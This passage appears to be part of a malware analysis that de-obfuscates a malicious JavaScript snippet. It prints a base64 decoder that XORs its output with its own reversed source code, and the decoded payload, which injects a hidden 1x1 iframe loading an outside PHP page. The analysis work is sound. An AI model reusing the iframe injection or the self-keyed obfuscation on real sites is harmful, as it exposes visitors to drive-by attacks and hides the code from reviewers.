return eval(WlULi);
A closer look at the code reveals that the function assigns itself to a variable, converts the value of that variable to a string:
rKxmdgfsjc=wSeRLHzrSUGfbB;
...
rKxmdgfsjc=rKxmdgfsjc.toString();
function decodeAndRun(arg){
var tmpResult="",byte1,byte2,byte3,char1,char2,char3,char4,idx,codeAsKey;
var base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var result="";
for(idx=0;idx<arg.length;) {
char1=base64.indexOf(arg.charAt(idx++));
char2=base64.indexOf(arg.charAt(idx++));
char3=base64.indexOf(arg.charAt(idx++));
char4=base64.indexOf(arg.charAt(idx++));
byte1=(char1<<2)+(char2>>4);
byte2=((char2&15)<<4)+(char3>>2);
byte3=((char3&3)<<6)+char4;
tmpResult+=String.fromCharCode(byte1);
if(char3!=64)tmpResult+=String.fromCharCode(byte2);
if(char4!=64)tmpResult+=String.fromCharCode(byte3);
}
codeAsKey=wSeRLHzrSUGfbB.toString()
codeAsKey=codeAsKey.replace(/\W/g,"");
codeAsKey=codeAsKey.split("").reverse().join("");
for(idx=0;idx<tmpResult.length;idx++) {
result+=String.fromCharCode(tmpResult.charCodeAt(idx%tmpResult.length)^codeAsKey.charCodeAt(idx%codeAsKey.length));
}
alert(result);
}
namwSyoX, RDqgWs, wFNcXL
or
oXHCthJwL
turns out to be just a standard base64 decoder
once the names are clear.
The original performs the conversion of the function to a string many
times in the loop, I have moved it after the loop. A clever trick is
to reverse the string before using it as a key, because most people
analyzing the code would probably start by changing the malicious eval
at the end of the function to a more benign output function like
alert. Using the string as-is would then divulge at least the start
of the evaled string.
The second for-loop xors every byte of the base64-decoded input string with one of the characters of the transformed source of the decoding function to produce the final result, which is:
var iframe = document.createElement("iframe");
iframe.width = "1";
iframe.height = "1";
iframe.src = "http://mis4hs7hhs.com/h/ytczdngsgrh.php";
document.body.appendChild(iframe);